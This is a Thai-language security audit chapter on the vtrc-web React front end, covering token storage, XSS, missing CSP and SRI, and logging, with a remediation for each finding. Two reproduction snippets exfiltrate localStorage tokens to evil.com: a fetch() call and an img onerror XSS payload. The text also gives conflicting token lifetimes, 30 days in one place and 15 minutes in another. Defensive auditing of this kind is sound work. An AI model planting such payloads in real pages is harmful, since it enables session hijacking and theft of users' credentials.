Skip to content

4.1.5 · Security analysis

บทนี้เจาะลึก finding ด้าน security ของ vtrc-web — ทั้งที่เกิดจาก code เองและที่เกิดจาก architecture (token storage, env-based endpoint)


Security scorecard

Dimensionสถานะเหตุผล
Token storage🔴localStorage (XSS accessible)
XSS protection🔴หลายสิบไฟล์ใช้ dangerouslySetInnerHTML
CSP🔴ไม่มี Content-Security-Policy header
Bundle integrity🔴ไม่มี SRI hash
Auth gate🟡route-level conditional render ไม่ใช่ central guard
ErrorBoundary🔴ไม่มี ทำให้ crash = white screen
HTTPS enforcement🟢nginx + cert-manager ใน production
Input validation🟡AntD form rules + backend validation (แต่ไม่ client-side type check)

Severity: Critical (🔴)

SEC-VTRC-WEB-01 · Token ใน localStorage — XSS accessible

ที่: vtrc-web/src/utils/auth.js (ทุกที่ที่เรียก setToken/getToken)

Evidence — pattern:

javascript
// src/utils/auth.js (pattern)
export const setToken = (token) => {
  localStorage.setItem('token', token.accessToken)
  localStorage.setItem('refreshToken', token.refreshToken)
  sessionStorage.setItem('token', token.accessToken)
}

export const getToken = () => ({
  token: localStorage.getItem('token') || sessionStorage.getItem('token'),
  refreshToken: localStorage.getItem('refreshToken')
})

Exploit: ถ้ามี XSS ใด ๆ ในหน้า (เช่นจาก dangerouslySetInnerHTML ที่ inject แล้ว) — script ฝั่ง attacker สามารถ localStorage.getItem('token') แล้วส่งออก domain อื่นได้

Reproduction:

javascript
// ถ้า XSS สำเร็จในหน้า vtrc-web:
fetch(`https://evil.com/steal?t=${localStorage.getItem('token')}&r=${localStorage.getItem('refreshToken')}`)

Impact: token hijack → attacker impersonate user ได้นานเท่า refreshToken TTL (30 วัน)

Remediation:

  1. เปลี่ยนเป็น HttpOnly cookie + SameSite=Strict + Secure flag — ป้องกัน JS access
  2. ถ้าต้องใช้ localStorage — เพิ่ม CSP ที่เข้มงวด (script-src 'self') เพื่อกัน XSS
  3. Implement token rotation ทุก 24 ชม. แม้ refreshToken ยังไม่หมด

SEC-VTRC-WEB-02 · dangerouslySetInnerHTML — XSS risk ในหลายสิบไฟล์

ที่: กระจายทั่ว src/pages/user/ — pattern ที่พบใน News, Policy, About detail pages

Evidence — pattern:

javascript
// News detail page (pattern)
render() {
  const { news } = this.state
  return (
    <div dangerouslySetInnerHTML={{ __html: news.content }} />
  )
}

Exploit: ถ้า admin ฝั่ง vtrc-rc-backoffice สร้าง news โดยใส่ <script>...</script> ใน content — script ทำงานใน browser ของทุก user ที่เปิดหน้า

Impact:

  • Token theft (ร่วมกับ SEC-VTRC-WEB-01)
  • Session hijack
  • Phishing overlay (แสดง form login ปลอมทับ)

Reproduction:

  1. Login vtrc-rc-backoffice ในฐานะ admin
  2. สร้าง news ใหม่ใน content ใส่: <img src=x onerror="fetch('https://evil.com/?t='+localStorage.token)">
  3. user เปิดหน้า news → script ทำงาน → token ส่งออก

Remediation:

  1. Sanitize HTML ก่อน render — ใช้ dompurify library
  2. ใช้ CSP script-src 'self' เพื่อกัน inline script
  3. ใช้ markdown renderer แทน HTML raw ถ้าเป็นไปได้

SEC-VTRC-WEB-03 · ไม่มี Content-Security-Policy header

ที่: nginx config ของ production deployment

Impact: browser ยอมรับ script จาก source ใด ๆ ทำให้ XSS ทำงานได้

Remediation: เพิ่ม header Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://vtrcapi.redcross.or.th


SEC-VTRC-WEB-04 · ไม่มี Subresource Integrity (SRI) บน bundle

ที่: public/index.html ไม่มี integrity= attribute บน <script> tag

Impact: ถ้า CDN หรือ MITM attacker เปลี่ยน main.<hash>.js — browser โหลดและ execute โดยไม่ตรวจ

Remediation: เพิ่ม SRI hash ตอน build — webpack plugin webpack-subresource-integrity


Severity: High (🟡)

SEC-VTRC-WEB-05 · ไม่มี ErrorBoundary — white screen บน crash

ที่: src/index.js + src/containers/App/index.js

Evidence: ไม่พบการใช้ ErrorBoundary component ใด ๆ ใน codebase

Impact: ถ้า component ใด ๆ throw ระหว่าง render (เช่น news.content เป็น null แล้วเรียก .length) — ทั้งหน้าขาว ไม่มี error message ไม่มี recovery path

Remediation: ล้อม <App /> ด้วย <ErrorBoundary> component ที่ catch error, แสดง fallback UI และ log error ไปยัง monitoring service


SEC-VTRC-WEB-06 · checkLinkURL() env branching ที่ client

ที่: src/config/apollo.jscheckLinkURL() function

Evidence: ใช้ window.location.href.includes(...) เพื่อตัดสินใจ GraphQL endpoint ทำให้ client รู้ทุก endpoint URL

Impact: ไม่ใช่ security hole โดยตรง แต่ทำให้โครงสร้าง backend ปรากฏใน JS bundle (attacker เห็น prod/uat URL ทั้งหมด)

Remediation: ใช้ relative path /api/graphql ที่ backend เดียวกันเสมอ ให้ nginx หรือ reverse proxy จัดการ routing


SEC-VTRC-WEB-07 · Console log ใน production

ที่: กระจายทั่ว codebase (console.log(...))

Evidence: หลายร้อย console.log statement ใน source บางจุด log token + userData

Impact: ถ้าเปิด DevTools → เห็นข้อมูล sensitive ใน console

Remediation:

  1. Babel plugin babel-plugin-transform-remove-console สำหรับ production build
  2. หรือ wrap console.log ใน helper ที่ check process.env.NODE_ENV === 'development'

Severity: Medium (🟢)

SEC-VTRC-WEB-08 · ไม่มี auth gate ที่ root

ที่: src/containers/App/index.js

Evidence: routing ใช้ pattern เดียวกันทั้ง authenticated และ unauthenticated route — เช็ค isLoggedIn() inline ในแต่ละ route แทนที่จะมี <PrivateRoute> component แยก

Impact: developer อาจลืมเพิ่ม auth check ใน route ใหม่ ทำให้หน้า admin หรือ sensitive เปิดโดยไม่ login

Remediation: สร้าง <PrivateRoute> component ที่ auto-redirect ไป /login ถ้า !isLoggedIn()


SEC-VTRC-WEB-09 · ไม่มี CSRF protection

ที่: ทุก mutation request

Evidence: token ส่งผ่าน Authorization: Bearer header (ไม่ใช่ cookie) → ไม่จำเป็นต้องมี CSRF token ตามหลักการ แต่บางทีมี axios fallback ที่ใช้ cookie

Impact: ถ้าใช้ cookie-based auth ในบาง flow — CSRF risk

Remediation: ใช้ SameSite=Strict cookie ถ้ามี cookie auth


สรุป

vtrc-web มี security issues ที่รุนแรงแต่ "ยังไม่เกิด incident" เพราะ:

  1. ใช้งาน internal (Red Cross staff) ไม่ใช่ public site
  2. Attacker ต้องมี XSS ก่อน ซึ่งต้อง penetrate vtrc-rc-backoffice admin ก่อน
  3. Token TTL 15 นาที ทำให้ hijack มี window จำกัด

แต่ถ้าเปิด public หรือมี motivation สูง — finding เหล่านี้เป็นจุดเริ่มต้นของ data breach ขนาดใหญ่

Priority fix order:

  1. dompurify สำหรับ dangerouslySetInnerHTML (ราคาถูกสุด, impact มาก)
  2. CSP header (config nginx)
  3. HttpOnly cookie สำหรับ token (ต้องเปลี่ยนทั้ง frontend + backend)

ขั้นตอนถัดไป

ไป บท 4.1.6 Performance + Build pipeline